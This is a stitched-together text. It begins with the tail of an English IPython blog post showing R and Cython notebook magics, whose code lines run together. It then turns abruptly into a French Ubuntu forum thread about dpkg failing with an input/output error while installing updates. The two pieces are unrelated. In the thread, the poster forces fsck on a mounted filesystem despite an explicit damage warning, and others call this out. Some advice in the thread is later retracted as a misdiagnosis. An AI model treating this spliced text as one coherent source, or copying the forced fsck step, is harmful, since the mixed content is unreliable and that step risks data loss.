%load_ext rmagic
Start by creating some data in Python
X = np.array([0,1,2,3,4])Y = np.array([3,5,4,6,7])
Which can then be manipulated in R, with results available back in Python (in XYcoef):
%%R -i X,Y -o XYcoefXYlm = lm(Y~X)XYcoef = coef(XYlm)print(summary(XYlm))par(mfrow=c(2,2))plot(XYlm)XYcoef
And finally, in the same spirit, the cython magic extension lets you call Cython code directly from the notebook:
%load_ext cythonmagic%%cython -lmfrom libc.math cimport sinprint 'sin(1)=', sin(1)
Keep in mind, this is still experimental code!
Hopefully this post shows that the system is already useful to communicate technical content in blog form with a minimal amount of effort. But please note that we're still in heavy development of many of these features, so things are susceptible to changing in the near future. By all means join the IPython dev mailing list if you'd like to participate and help us make IPython a better tool! |
krystoo
Comment installer des mises à jour téléchargées ?
Bonsoir, alors je vais faire le tour je crois ^^
après troisième installe sur le pc portable, se coup ci j'avais 197 mises à jour. J'ai fait en plusieurs fois car sinon interminable.
Quand aux 6 dernières màj que j'ai téléchargé, visiblement elles ne se sont pas installées après redémarrage.
J'ai tenté de les installé depuis le terminal avec "sudo apt-get upgrade" =
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances
Lecture des informations d'état... Fait
Les paquets suivants seront mis à jour :
software-properties-common software-properties-gtk transmission-common
transmission-gtk tzdata xul-ext-ubufox
6 mis à jour, 0 nouvellement installés, 0 à enlever et 0 non mis à jour.
Il est nécessaire de prendre 0 o/1 198 ko dans les archives.
Après cette opération, 25,6 ko d'espace disque supplémentaires seront utilisés.
Souhaitez-vous continuer [O/n] ?
Donc je dit "o" =
Préconfiguration des paquets...
(Lecture de la base de données... 55%dpkg : erreur fatale irréversible, abandon :
lecture de la liste des fichiers du paquet « linux-headers-3.2.0-35 »: Erreur d'entrée/sortie
E: Sub-process /usr/bin/dpkg returned an error code (2)
Sachant que 55% dure bien 30 secondes avant d'enchainer.
J'ai tenté depuis le tableau de bord clic droit et "Installer toutes les mises à jour" =
installArchives() failed: Prconfiguration des paquets...
Prconfiguration des paquets...
Prconfiguration des paquets...
(Reading database ...
(Reading database ... 5%%
(Reading database ... 10%%
(Reading database ... 15%%
(Reading database ... 20%%
(Reading database ... 25%%
(Reading database ... 30%%
(Reading database ... 35%%
(Reading database ... 40%%
(Reading database ... 45%%
(Reading database ... 50%%
(Reading database ... 55%%dpkg: unrecoverable fatal error, aborting:
reading files list for package 'linux-headers-3.2.0-35': Input/output error
Error in function:
SystemError: E:Sub-process /usr/bin/dpkg returned an error code (2)
Et dans le gestionnaire de mises à jour on me dit toujours que j'ai ces 6 màj et on m'indique en dessous de la liste :
6 mises à jour ont été sélectionnées. Les mises à jour ont déjà étaient téléchargées, mais pas encore installées.
Dernière modification par krystoo (Le 28/12/2012, à 01:12)
Ubuntu 14.04 lts - carte graph : Intel(R) 82865G Graphics Controller - Q45/Q43 Chipset Boosté à fond rame un poil sur les vidéos
-- & -- Ubuntu 14.04 lts - Lenovo 3000-N200 -- & -- un PC ACER Aspire M1600-EB7Z sauvé de la poubelle, nettoyé et dépoussiéré qui avait aussi vista qui ramait par a coups et de façon aléatoire 1.20Ghz redevenu 1.60Ghz grâce à Ubuntu et maintenant fuse.
Hors ligne
Maisondouf
Re : Comment installer des mises à jour téléchargées ?
Il doit y avoir des paquets à demi téléchargés, il faut vider le cache et refaire l'upgrade.
Ça ve télécharger juste ce qui manque.
sudo apt-get clean
sudo apt-get update
sudo apt-get upgrade
ASUS M5A88-v EVO avec AMD FX(tm)-8120 Eight-Core Processor, OS principal Precise 12.04.1 LTS 63bits½
Bricoleur, menteur, inculte, inadapté social et mythomane, enfin d'après certains....
"the secret of my form is summed up in two words, no sport" (Winston Churchill)
Hors ligne
tiramiseb
Re : Comment installer des mises à jour téléchargées ?
Une erreur d'entrée-sortie peut signifier une défaillance du disque dur.
Je pense que des paquets à moitié téléchargés généreraient une autre erreur...
Hors ligne
Maisondouf
Re : Comment installer des mises à jour téléchargées ?
Et il est où le message d'erreur ?
Faut que je m'achète d'autre lunettes, peut-être....
ASUS M5A88-v EVO avec AMD FX(tm)-8120 Eight-Core Processor, OS principal Precise 12.04.1 LTS 63bits½
Bricoleur, menteur, inculte, inadapté social et mythomane, enfin d'après certains....
"the secret of my form is summed up in two words, no sport" (Winston Churchill)
Hors ligne
tiramiseb
Re : Comment installer des mises à jour téléchargées ?
Apparemment oui il te faut acheter de nouvelles lunettes
Hors ligne
krystoo
Re : Comment installer des mises à jour téléchargées ?
Re, pour :
sudo apt-get clean
sudo apt-get update
sudo apt-get upgrade
on me dit :
krystoo@krystoo-3000-N200:~$ sudo apt-get clean
[sudo] password for krystoo:
krystoo@krystoo-3000-N200:~$ sudo apt-get update
Ign http://security.ubuntu.com precise-security InRelease
Ign http://extras.ubuntu.com precise InRelease
Ign http://fr.archive.ubuntu.com precise InRelease
Ign http://fr.archive.ubuntu.com precise-updates InRelease
Ign http://fr.archive.ubuntu.com precise-backports InRelease
Atteint http://security.ubuntu.com precise-security Release.gpg
Réception de : 1 http://extras.ubuntu.com precise Release.gpg [72 B]
Atteint http://fr.archive.ubuntu.com precise Release.gpg
Atteint http://security.ubuntu.com precise-security Release
Atteint http://fr.archive.ubuntu.com precise-updates Release.gpg
Atteint http://extras.ubuntu.com precise Release
Atteint http://fr.archive.ubuntu.com precise-backports Release.gpg
Atteint http://fr.archive.ubuntu.com precise Release
Atteint http://fr.archive.ubuntu.com precise-updates Release
Atteint http://security.ubuntu.com precise-security/main Sources
Atteint http://extras.ubuntu.com precise/main Sources
Atteint http://fr.archive.ubuntu.com precise-backports Release
Atteint http://fr.archive.ubuntu.com precise/main Sources
Atteint http://fr.archive.ubuntu.com precise/restricted Sources
Atteint http://fr.archive.ubuntu.com precise/universe Sources
Atteint http://fr.archive.ubuntu.com precise/multiverse Sources
Atteint http://fr.archive.ubuntu.com precise/main i386 Packages
Atteint http://security.ubuntu.com precise-security/restricted Sources
Atteint http://security.ubuntu.com precise-security/universe Sources
Atteint http://security.ubuntu.com precise-security/multiverse Sources
Atteint http://security.ubuntu.com precise-security/main i386 Packages
Atteint http://security.ubuntu.com precise-security/restricted i386 Packages
Atteint http://security.ubuntu.com precise-security/universe i386 Packages
Atteint http://security.ubuntu.com precise-security/multiverse i386 Packages
Atteint http://security.ubuntu.com precise-security/main TranslationIndex
Atteint http://security.ubuntu.com precise-security/multiverse TranslationIndex
Atteint http://security.ubuntu.com precise-security/restricted TranslationIndex
Atteint http://fr.archive.ubuntu.com precise/restricted i386 Packages
Atteint http://fr.archive.ubuntu.com precise/universe i386 Packages
Atteint http://fr.archive.ubuntu.com precise/multiverse i386 Packages
Atteint http://fr.archive.ubuntu.com precise/main TranslationIndex
Atteint http://extras.ubuntu.com precise/main i386 Packages
Ign http://extras.ubuntu.com precise/main TranslationIndex
Atteint http://fr.archive.ubuntu.com precise/multiverse TranslationIndex
Atteint http://fr.archive.ubuntu.com precise/restricted TranslationIndex
Atteint http://fr.archive.ubuntu.com precise/universe TranslationIndex
Atteint http://fr.archive.ubuntu.com precise-updates/main Sources
Atteint http://fr.archive.ubuntu.com precise-updates/restricted Sources
Atteint http://fr.archive.ubuntu.com precise-updates/universe Sources
Atteint http://security.ubuntu.com precise-security/universe TranslationIndex
Atteint http://fr.archive.ubuntu.com precise-updates/multiverse Sources
Atteint http://fr.archive.ubuntu.com precise-updates/main i386 Packages
Atteint http://fr.archive.ubuntu.com precise-updates/restricted i386 Packages
Atteint http://fr.archive.ubuntu.com precise-updates/universe i386 Packages
Atteint http://fr.archive.ubuntu.com precise-updates/multiverse i386 Packages
Atteint http://fr.archive.ubuntu.com precise-updates/main TranslationIndex
Atteint http://fr.archive.ubuntu.com precise-updates/multiverse TranslationIndex
Atteint http://fr.archive.ubuntu.com precise-updates/restricted TranslationIndex
Atteint http://fr.archive.ubuntu.com precise-updates/universe TranslationIndex
Atteint http://security.ubuntu.com precise-security/main Translation-en
Atteint http://security.ubuntu.com precise-security/multiverse Translation-en
Atteint http://fr.archive.ubuntu.com precise-backports/main Sources
Atteint http://fr.archive.ubuntu.com precise-backports/restricted Sources
Atteint http://fr.archive.ubuntu.com precise-backports/universe Sources
Atteint http://fr.archive.ubuntu.com precise-backports/multiverse Sources
Atteint http://fr.archive.ubuntu.com precise-backports/main i386 Packages
Atteint http://fr.archive.ubuntu.com precise-backports/restricted i386 Packages
Atteint http://security.ubuntu.com precise-security/restricted Translation-en
Atteint http://fr.archive.ubuntu.com precise-backports/universe i386 Packages
Atteint http://fr.archive.ubuntu.com precise-backports/multiverse i386 Packages
Atteint http://fr.archive.ubuntu.com precise-backports/main TranslationIndex
Atteint http://fr.archive.ubuntu.com precise-backports/multiverse TranslationIndex
Atteint http://fr.archive.ubuntu.com precise-backports/restricted TranslationIndex
Atteint http://fr.archive.ubuntu.com precise-backports/universe TranslationIndex
Réception de : 2 http://fr.archive.ubuntu.com precise/main Translation-fr_FR [494 kB]
Atteint http://security.ubuntu.com precise-security/universe Translation-en
Ign http://extras.ubuntu.com precise/main Translation-fr_FR
Ign http://extras.ubuntu.com precise/main Translation-fr
Ign http://extras.ubuntu.com precise/main Translation-en
Atteint http://fr.archive.ubuntu.com precise/main Translation-fr
Atteint http://fr.archive.ubuntu.com precise/main Translation-en
Réception de : 3 http://fr.archive.ubuntu.com precise/multiverse Translation-fr_FR [93,8 kB]
Atteint http://fr.archive.ubuntu.com precise/multiverse Translation-fr
Atteint http://fr.archive.ubuntu.com precise/multiverse Translation-en
Réception de : 4 http://fr.archive.ubuntu.com precise/restricted Translation-fr_FR [2 506 B]
Atteint http://fr.archive.ubuntu.com precise/restricted Translation-fr
Atteint http://fr.archive.ubuntu.com precise/restricted Translation-en
Réception de : 5 http://fr.archive.ubuntu.com precise/universe Translation-fr_FR [870 kB]
Atteint http://fr.archive.ubuntu.com precise/universe Translation-fr
Atteint http://fr.archive.ubuntu.com precise/universe Translation-en
Atteint http://fr.archive.ubuntu.com precise-updates/main Translation-fr
Atteint http://fr.archive.ubuntu.com precise-updates/main Translation-en
Atteint http://fr.archive.ubuntu.com precise-updates/multiverse Translation-fr
Atteint http://fr.archive.ubuntu.com precise-updates/multiverse Translation-en
Atteint http://fr.archive.ubuntu.com precise-updates/restricted Translation-fr
Atteint http://fr.archive.ubuntu.com precise-updates/restricted Translation-en
Atteint http://fr.archive.ubuntu.com precise-updates/universe Translation-fr
Atteint http://fr.archive.ubuntu.com precise-updates/universe Translation-en
Atteint http://fr.archive.ubuntu.com precise-backports/main Translation-en
Atteint http://fr.archive.ubuntu.com precise-backports/multiverse Translation-en
Atteint http://fr.archive.ubuntu.com precise-backports/restricted Translation-en
Atteint http://fr.archive.ubuntu.com precise-backports/universe Translation-en
1 460 ko réceptionnés en 7s (195 ko/s)
Lecture des listes de paquets... Fait
krystoo@krystoo-3000-N200:~$ sudo apt-get upgrade
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances
Lecture des informations d'état... Fait
Les paquets suivants seront mis à jour :
software-properties-common software-properties-gtk transmission-common
transmission-gtk tzdata xul-ext-ubufox
6 mis à jour, 0 nouvellement installés, 0 à enlever et 0 non mis à jour.
Il est nécessaire de prendre 1 198 ko dans les archives.
Après cette opération, 25,6 ko d'espace disque supplémentaires seront utilisés.
Souhaitez-vous continuer [O/n] ? o
Réception de : 1 http://fr.archive.ubuntu.com/ubuntu/ precise-updates/main tzdata all 2012e-0ubuntu0.12.04.1 [474 kB]
Réception de : 2 http://fr.archive.ubuntu.com/ubuntu/ precise-updates/main software-properties-common all 0.82.7.3 [9 048 B]
Réception de : 3 http://fr.archive.ubuntu.com/ubuntu/ precise-updates/main software-properties-gtk all 0.82.7.3 [34,2 kB]
Réception de : 4 http://fr.archive.ubuntu.com/ubuntu/ precise-updates/main transmission-common all 2.51-0ubuntu1.1 [267 kB]
Réception de : 5 http://fr.archive.ubuntu.com/ubuntu/ precise-updates/main transmission-gtk i386 2.51-0ubuntu1.1 [355 kB]
Réception de : 6 http://fr.archive.ubuntu.com/ubuntu/ precise-updates/main xul-ext-ubufox all 2.6-0ubuntu0.12.04.1 [58,5 kB]
1 198 ko réceptionnés en 4s (244 ko/s)
Préconfiguration des paquets...
(Lecture de la base de données... 55%dpkg : erreur fatale irréversible, abandon :
lecture de la liste des fichiers du paquet « linux-headers-3.2.0-35 »: Erreur d'entrée/sortie
E: Sub-process /usr/bin/dpkg returned an error code (2)
Comment ça une défaillance du disc dur ? Il à était changé l'été dernier et avait eu quelques mois win et je m'en suis pas trop servit jusqu'à maintenant ou je compte bien m'en servir.
Après dans synaptic pour supprimé des logiciels et même pour en installer on me dit que tous les paquets n'ont pu être entièrement installé ou supprimé. = au final toujours AbiWord et Guneric et toujours pas LibreOffice. Toujours Pdgin et toujours pas aMSN.
Et en voulant mettre du contenu sur clef usb, je pouvais et d'un seul coup je ne peut plus car je n'aurais pas tous les droits avec mon seul compte (sur lequel j'écrit ici).
Dernière modification par krystoo (Le 28/12/2012, à 17:53)
Ubuntu 14.04 lts - carte graph : Intel(R) 82865G Graphics Controller - Q45/Q43 Chipset Boosté à fond rame un poil sur les vidéos
-- & -- Ubuntu 14.04 lts - Lenovo 3000-N200 -- & -- un PC ACER Aspire M1600-EB7Z sauvé de la poubelle, nettoyé et dépoussiéré qui avait aussi vista qui ramait par a coups et de façon aléatoire 1.20Ghz redevenu 1.60Ghz grâce à Ubuntu et maintenant fuse.
Hors ligne
ljere
Re : Comment installer des mises à jour téléchargées ?
il ne faut pas utiliser
sudo apt-get upgrade
mais
sudo apt-get dist-upgrade
d'apres la doc il faut faire un clean puis réinstaller le paquet genant
sudo apt-get clean
puis
sudo apt-get install linux-headers-3.2.0-35
Hors ligne
Korak
Re : Comment installer des mises à jour téléchargées ?
Bonjour,
j'avais 197 mises à jour. J'ai fait en plusieurs fois.
Il vaut mieux faire toutes les mises-à-jour proposées en une seule fois car un paquet en dépend d'un autre et ainsi de suite.
car sinon interminable
Ce qui veut dire? Combien de temps?
Quand j'installe un nouvel Ubuntu 12.04 sur un PC, il y a environ 400 mises-à-jour a faire après l'installation. Et ces 400 mises-à-jour prennent plus ou moins 30 minutes pour le téléchargement et l'installation des mises-à-jour.
Dernière modification par Korak (Le 28/12/2012, à 18:34)
OS: Ubuntu 14.04 64 bits + Windows 8.1 64 bits en dualboot (BIOS UEFI, Secure Boot activé et table de partitions GPT)
PC portable HP Pavilion g7-2335sb: Processeur: AMD A4-4300M APU Carte graphique: AMD Radeon HD 7420G Mémoire vive: 6 Go RAM
Je suis Parrain-Linux
Hors ligne
krystoo
Re : Comment installer des mises à jour téléchargées ?
Merci ljere, mais j'ai toujours les mêmes problèmes :
krystoo@krystoo-3000-N200:~$ sudo apt-get dist-upgrade
[sudo] password for krystoo:
E: Impossible d'obtenir le verrou /var/lib/dpkg/lock - open (11: Ressource temporairement non disponible)
E: Impossible de verrouiller le répertoire d'administration (/var/lib/dpkg/). Il est possible qu'un autre processus l'utilise.
krystoo@krystoo-3000-N200:~$ sudo apt-get clean
krystoo@krystoo-3000-N200:~$ sudo apt-get install linux-headers-3.2.0-35
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances
Lecture des informations d'état... Fait
linux-headers-3.2.0-35 est déjà la plus récente version disponible.
Les paquets suivants ont été installés automatiquement et ne sont plus nécessaires :
linux-headers-3.2.0-29-generic linux-headers-3.2.0-29
Veuillez utiliser « apt-get autoremove » pour les supprimer.
0 mis à jour, 0 nouvellement installés, 0 à enlever et 6 non mis à jour.
krystoo@krystoo-3000-N200:~$
Korak : La fois passé plus d'une heure sans voir le liseré en barre de défilement, en gros toujours au même stade.
Dernière modification par krystoo (Le 28/12/2012, à 19:59)
Ubuntu 14.04 lts - carte graph : Intel(R) 82865G Graphics Controller - Q45/Q43 Chipset Boosté à fond rame un poil sur les vidéos
-- & -- Ubuntu 14.04 lts - Lenovo 3000-N200 -- & -- un PC ACER Aspire M1600-EB7Z sauvé de la poubelle, nettoyé et dépoussiéré qui avait aussi vista qui ramait par a coups et de façon aléatoire 1.20Ghz redevenu 1.60Ghz grâce à Ubuntu et maintenant fuse.
Hors ligne
ljere
Re : Comment installer des mises à jour téléchargées ?
relance
sudo apt-get dist-upgrade
Hors ligne
tiramiseb
Re : Comment installer des mises à jour téléchargées ?
il ne faut pas utiliser
sudo apt-get upgrade
mais
sudo apt-get dist-upgrade
Il serait bon de ne pas faire de telle affirmation sans préciser les cas de figure où il faut faire telle commande au lieu de telle autre. Ici, un visiteur peut croire qu'il ne faut jamais faire "upgrade".
En l'occurrence, je ne vois pas pourquoi "dist-upgrade" serait plus adapté qu'"upgrade".
Merci ljere, mais j'ai toujours les mêmes problèmes :
krystoo@krystoo-3000-N200:~$ sudo apt-get dist-upgrade
[sudo] password for krystoo:
E: Impossible d'obtenir le verrou /var/lib/dpkg/lock - open (11: Ressource temporairement non disponible)
[...]
Non, ce n'est pas le même problème. Ce n'est pas parce qu'il y a un blocage/problème que c'est le même qu'avant. Lis les messages d'erreur. Ici ça veut dire que tu avais déjà une mise à jour (ou autre action qui utilise la base des paquets) en cours : on ne peut pas lancer plusieurs mises à jour / installations / désinstallations en même temps.
Tout le monde :
Le problème d'origine semble plutôt par là :
dpkg : erreur fatale irréversible, abandon :
lecture de la liste des fichiers du paquet « linux-headers-3.2.0-35 »: Erreur d'entrée/sortie
(deux fois dans les messages ci-dessus)
dpkg: unrecoverable fatal error, aborting:
reading files list for package 'linux-headers-3.2.0-35': Input/output error
(une fois dans les messages ci-dessus)
Proposer des upgrade, des dist-upgrade, tout ça, ne changera jamais une erreur d'entrée/sortie qu'il y a sur un même fichier.
krystoo : une erreur d'entrée/sortie (input/output ou I/O) est liée à la difficulté constante de l'ordinateur à lire ou écrire un dans ou sur un périphérique. C'est une erreur très générale. Une erreur d'I/O sur le réseau, par exemple, peut signifier un problème de carte réseau. Une erreur d'I/O sur le disque peut signifier un problème de disque dur. Ça ne veut pas dire assurément que ton disque dur est mort, mais il est certain que l'ordinateur a des difficultés à lire ce fichier particulier.
Il faut utiliser la commande fsck pour vérifier le filesystem, puis potentiellement supprimer le fichier concerné (/var/cache/apt/archives/linux-headers-3.2.0-35*.deb).
http://doc.ubuntu-fr.org/verification_de_fichiers
http://doc.ubuntu-fr.org/fsck
Dernière modification par tiramiseb (Le 28/12/2012, à 20:39)
Hors ligne
ljere
Re : Comment installer des mises à jour téléchargées ?
bonjour tiramiseb
dist-upgrade
La commande dist-upgrade effectue la fonction upgrade en y
ajoutant une gestion intelligente des changements de dépendances
dans les nouvelles versions des paquets ; apt-get possède un
système « intelligent » de résolution des conflits et il essaye,
quand c'est nécessaire, de mettre à niveau les paquets les plus
importants aux dépens des paquets les moins importants. Le
fichier /etc/apt/sources.list contient une liste de sources où
récupérer les paquets désirés. Voyez aussi apt_preferences(5)
pour un mécanisme d'annulation des paramètres d'un simple
paquet.
donc apt-get upgrade ne marchera pas, il ne mettra pas un paquet à jour si il nécessite l'installation d'un nouveau paquet
C'est donc dist-upgrade qu'il faut utiliser dans ces cas-là.
ensuite j'ai bien lu la doc qui dit
La commande qui va vous sauver est toute simple :
sudo apt-get clean
Puis réinstaller le ou les paquets qui posaient problème :
sudo apt-get install "nom_du_paquet"
c'est bien ce que je lui ai proposé
Hors ligne
tiramiseb
Re : Comment installer des mises à jour téléchargées ?
apt-get upgrade ne marchera pas, il ne mettra pas un paquet à jour si il nécessite l'installation d'un nouveau paquet
Où as-tu vu qu'il est dans ce cas ?
Il n'a aucune mise à jour qui nécessite l'installation d'un nouveau paquet à exécuter ; je cite le message #1 :
6 mis à jour, 0 nouvellement installés, 0 à enlever et
0 non mis à jour.
"0 non mis à jour" lorsque l'on fait un "upgrade", cela signifie qu'aucun paquet ne nécessite un dist-upgrade.
Dernière modification par tiramiseb (Le 28/12/2012, à 21:29)
Hors ligne
tiramiseb
Re : Comment installer des mises à jour téléchargées ?
J'avais mal analysé l'erreur. J'aimerais préciser que je me suis un peu gouré sur le diagnostic, l'erreur d'entrée/sortie n'est pas sur le package dans /var/cache/apt/archives/ mais dans le fichier /var/lib/dpkg/info/linux-headers-3.2.0-35.list.
Là (pour le moment en tout cas) je n'ai pas d'astuce pour réparer/supprimer/corriger/remplacer ce fichier.
Si quelqu'un a une idée...
Dernière modification par tiramiseb (Le 28/12/2012, à 21:33)
Hors ligne
ljere
Re : Comment installer des mises à jour téléchargées ?
si tu veux, en tout cas je sais par expérience qu'il vaut mieux prendre l'habitude d'utiliser dist-upgrade qu'upgrade tout seul, car il n'y a pas d'inconvénient à utiliser dist-upgrade
alors que ce n'est pas la première fois que je vois des membres qui n'ont plus de mise à jour du noyaux à cause d'upgrade
peut etre nous donner le retour de
cat /var/lib/dpkg/info/linux-headers-3.2.0-35.list
Dernière modification par ljere (Le 28/12/2012, à 21:44)
Hors ligne
tiramiseb
Re : Comment installer des mises à jour téléchargées ?
il n'y a pas d'inconvénient à utiliser dist-upgrade
Ça dépend des situations. Par expérience, je sais le contraire. Chacun son expérience, hein
Mais comme je l'ai indiqué, je pense qu'il est préférable de ne pas conseiller des commandes à tort et à travers... surtout quand il s'avère qu'elles ne changeront absolument rien à la situation présentée ; là on ne parle pas de mise à jour de noyau, on parle d'erreur d'entrée/sortie lors de la mise à jour de paquets banals.
Hors ligne
tiramiseb
Re : Comment installer des mises à jour téléchargées ?
peut etre nous donner le retour de
cat /var/lib/dpkg/info/linux-headers-3.2.0-35.list
Pour ma part, je suis prêt à parier que le retour de cette commande terminera sur une erreur d'entrée/sortie
Hors ligne
ljere
Re : Comment installer des mises à jour téléchargées ?
ça me rassure on est au moins d'accord la dessus
Hors ligne
krystoo
Re : Comment installer des mises à jour téléchargées ?
krystoo : une erreur d'entrée/sortie (input/output ou I/O) est liée à la difficulté constante de l'ordinateur à lire ou écrire un dans ou sur un périphérique. C'est une erreur très générale. Une erreur d'I/O sur le réseau, par exemple, peut signifier un problème de carte réseau. Une erreur d'I/O sur le disque peut signifier un problème de disque dur. Ça ne veut pas dire assurément que ton disque dur est mort, mais il est certain que l'ordinateur a des difficultés à lire ce fichier particulier.
Il faut utiliser la commande fsck pour vérifier le filesystem, puis potentiellement supprimer le fichier concerné (/var/cache/apt/archives/linux-headers-3.2.0-35*.deb).
http://doc.ubuntu-fr.org/verification_de_fichiers
http://doc.ubuntu-fr.org/fsck
Pas de linux-headers-3.2.0-35*.deb dans /var/cache/apt/archives/linux-headers-3.2.0-35*.deb
peut etre nous donner le retour de
cat /var/lib/dpkg/info/linux-headers-3.2.0-35.list
Pour ma part, je suis prêt à parier que le retour de cette commande terminera sur une erreur d'entrée/sortie
Résultat :
krystoo@krystoo-3000-N200:~$ cat /var/lib/dpkg/info/linux-headers-3.2.0.35.list
cat: /var/lib/dpkg/info/linux-headers-3.2.0.35.list: Aucun fichier ou dossier de ce type
Ubuntu 14.04 lts - carte graph : Intel(R) 82865G Graphics Controller - Q45/Q43 Chipset Boosté à fond rame un poil sur les vidéos
-- & -- Ubuntu 14.04 lts - Lenovo 3000-N200 -- & -- un PC ACER Aspire M1600-EB7Z sauvé de la poubelle, nettoyé et dépoussiéré qui avait aussi vista qui ramait par a coups et de façon aléatoire 1.20Ghz redevenu 1.60Ghz grâce à Ubuntu et maintenant fuse.
Hors ligne
tiramiseb
Re : Comment installer des mises à jour téléchargées ?
Pas de linux-headers-3.2.0-35*.deb dans /var/cache/apt/archives/linux-headers-3.2.0-35*.deb
As-tu lu mon message #14 qui dit que je me suis trompé et que ce n'est pas ce fichier ?
Résultat :
krystoo@krystoo-3000-N200:~$ cat /var/lib/dpkg/info/linux-headers-3.2.0.35.list
cat: /var/lib/dpkg/info/linux-headers-3.2.0.35.list: Aucun fichier ou dossier de ce type
Bon, on a dû se tromper sur le nom précis du fichier...
Fais d'abord :
ls /var/lib/dpkg/info/linux-headers-*.list
Hors ligne
krystoo
Re : Comment installer des mises à jour téléchargées ?
Juste au cas ou vis à vis des deux liens données quelques commandes :
krystoo@krystoo-3000-N200:~$ fdisk -1
fdisk : option invalide -- '1'
Usage:
fdisk [options] <disk> change partition table
fdisk [options] -l <disk> list partition table(s)
fdisk -s <partition> give partition size(s) in blocks
Options:
-b <size> sector size (512, 1024, 2048 or 4096)
-c[=<mode>] compatible mode: 'dos' or 'nondos' (default)
-h print this help text
-u[=<unit>] display units: 'cylinders' or 'sectors' (default)
-v print program version
-C <number> specify the number of cylinders
-H <number> specify the number of heads
-S <number> specify the number of sectors per track
krystoo@krystoo-3000-N200:~$ fdisk -l
krystoo@krystoo-3000-N200:~$ fsck.ext3 -y /dev/...
e2fsck 1.42 (29-Nov-2011)
fsck.ext3: Aucun fichier ou dossier de ce type lors de la tentative d'ouverture de /dev/...
Périphérique peut-être inexistant ?
krystoo@krystoo-3000-N200:~$ sudo fsck
[sudo] password for krystoo:
fsck de util-linux 2.20.1
e2fsck 1.42 (29-Nov-2011)
/dev/sda1 est monté.
AVERTISSEMENT !!! Le système de fichiers est monté. Si vous continuez
vous ***ALLEZ*** causer des dommages ***SÉVÈRES*** au système de fichiers.
Souhaitez-vous réellement continuer<n>? oui
/dev/sda1 : récupération du journal
uiLors de l'effacement de l'i-noeud orphelin 6029324 (uid=1000, gid=1000, mode=0100600, taille=65536)
Définition du compteur d'i-noeuds libres à 19300542 (était 19300546)
Définition du compteur des blocs libres à 75946142 (était 75946200)
/dev/sda1 : propre, 171842/19472384 fichiers, 1936738/77882880 blocs
krystoo@krystoo-3000-N200:~$ ui
Le programme 'ui' n'est pas encore installé. Vous pouvez l'installer en tapant :
sudo apt-get install userinfo
krystoo@krystoo-3000-N200:~$ sudo passwd root
Entrez le nouveau mot de passe UNIX :
Retapez le nouveau mot de passe UNIX :
passwd : le mot de passe a été mis à jour avec succès
krystoo@krystoo-3000-N200:~$ $ cat /etc/fstab
$ : commande introuvable
krystoo@krystoo-3000-N200:~$ cat /etc/fstab
# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# <file system> <mount point> <type> <options> <dump> <pass>
proc /proc proc nodev,noexec,nosuid 0 0
# / was on /dev/sda1 during installation
UUID=4e15f889-4999-4585-87d1-734e9e154d1c / ext4 errors=remount-ro 0 1
# swap was on /dev/sda5 during installation
UUID=c81e2e84-1fce-48de-925c-2c9dd726dfbd none swap sw 0 0
pour ls /var/lib/dpkg/info/linux-headers-*.list
$ ls /var/lib/dpkg/info/linux-headers-*.list
/var/lib/dpkg/info/linux-headers-3.2.0-29-generic.list
/var/lib/dpkg/info/linux-headers-3.2.0-29.list
/var/lib/dpkg/info/linux-headers-3.2.0-35-generic.list
/var/lib/dpkg/info/linux-headers-3.2.0-35.list
/var/lib/dpkg/info/linux-headers-generic.list
Ubuntu 14.04 lts - carte graph : Intel(R) 82865G Graphics Controller - Q45/Q43 Chipset Boosté à fond rame un poil sur les vidéos
-- & -- Ubuntu 14.04 lts - Lenovo 3000-N200 -- & -- un PC ACER Aspire M1600-EB7Z sauvé de la poubelle, nettoyé et dépoussiéré qui avait aussi vista qui ramait par a coups et de façon aléatoire 1.20Ghz redevenu 1.60Ghz grâce à Ubuntu et maintenant fuse.
Hors ligne
tiramiseb
Re : Comment installer des mises à jour téléchargées ?
Quand tu lis :
AVERTISSEMENT !!! Le système de fichiers est monté. Si vous continuez
vous ***ALLEZ*** causer des dommages ***SÉVÈRES*** au système de fichiers.
Souhaitez-vous réellement continuer<n>?
... tu réponds "oui" ? Tu n'as vraiment pas peur...
Et dans la documentation, le message suivant sur fond rouge :
Il faut impérativement que votre partition soit démontée, c'est-à-dire non accessible, ce qui est le cas avec un live CD
... ça t'a pas inquiété ?
Si tu as un quelconque grave problème sur tes fichiers à cause de cela, toi seul pourra être tenu pour responsable étant donné que tu as ignoré les avertissements.
----------
Bon, sinon, retournons à nos moutons...
Avec ton "ls" on voit que je me suis gouré et que j'ai mis un "." au lieu d'un "-" dans le nom du fichier. Avec un peu de jugeotte, tu peux comprendre que la commande devrait être :
cat /var/lib/dpkg/info/linux-headers-3.2.0-35.list
Note bien que NOUS N'AVONS PAS BESOIN DU RETOUR COMPLET DE CETTE COMMANDE, C'EST UN ÉNORME FICHIER POUR LEQUEL ON N'A PAS BESOIN DU CONTENU. On a juste besoin de vérifier qu'
, c'est à ça que tu dois faire attention.à la fin ça te donne une erreur d'entrée/sortie
Hors ligne
krystoo
Re : Comment installer des mises à jour téléchargées ?
Oui tiramiseb, je sais hein puis encore débutant
Alors ta commande me donne :
... long listing ...
/usr/src/linux-heacat: /var/lib/dpkg/info/linux-headers-3.2.0-35.list: Erreur d'entrée/sortie
Ubuntu 14.04 lts - carte graph : Intel(R) 82865G Graphics Controller - Q45/Q43 Chipset Boosté à fond rame un poil sur les vidéos
-- & -- Ubuntu 14.04 lts - Lenovo 3000-N200 -- & -- un PC ACER Aspire M1600-EB7Z sauvé de la poubelle, nettoyé et dépoussiéré qui avait aussi vista qui ramait par a coups et de façon aléatoire 1.20Ghz redevenu 1.60Ghz grâce à Ubuntu et maintenant fuse.
Hors ligne
tiramiseb
Re : Comment installer des mises à jour téléchargées ?
Tente de redémarrer sur un LiveCD et de réparer le système de fichiers avec fsck...
Hors ligne
krystoo
Re : Comment installer des mises à jour téléchargées ?
Oui j'ai éssayé, mais comment on répare ? Il y a choix de langue donc fr, éssayer ou installer. Après dans installer on remplace ou installe en parallèle et autre c'est pour repartitionner.
Ubuntu 14.04 lts - carte graph : Intel(R) 82865G Graphics Controller - Q45/Q43 Chipset Boosté à fond rame un poil sur les vidéos
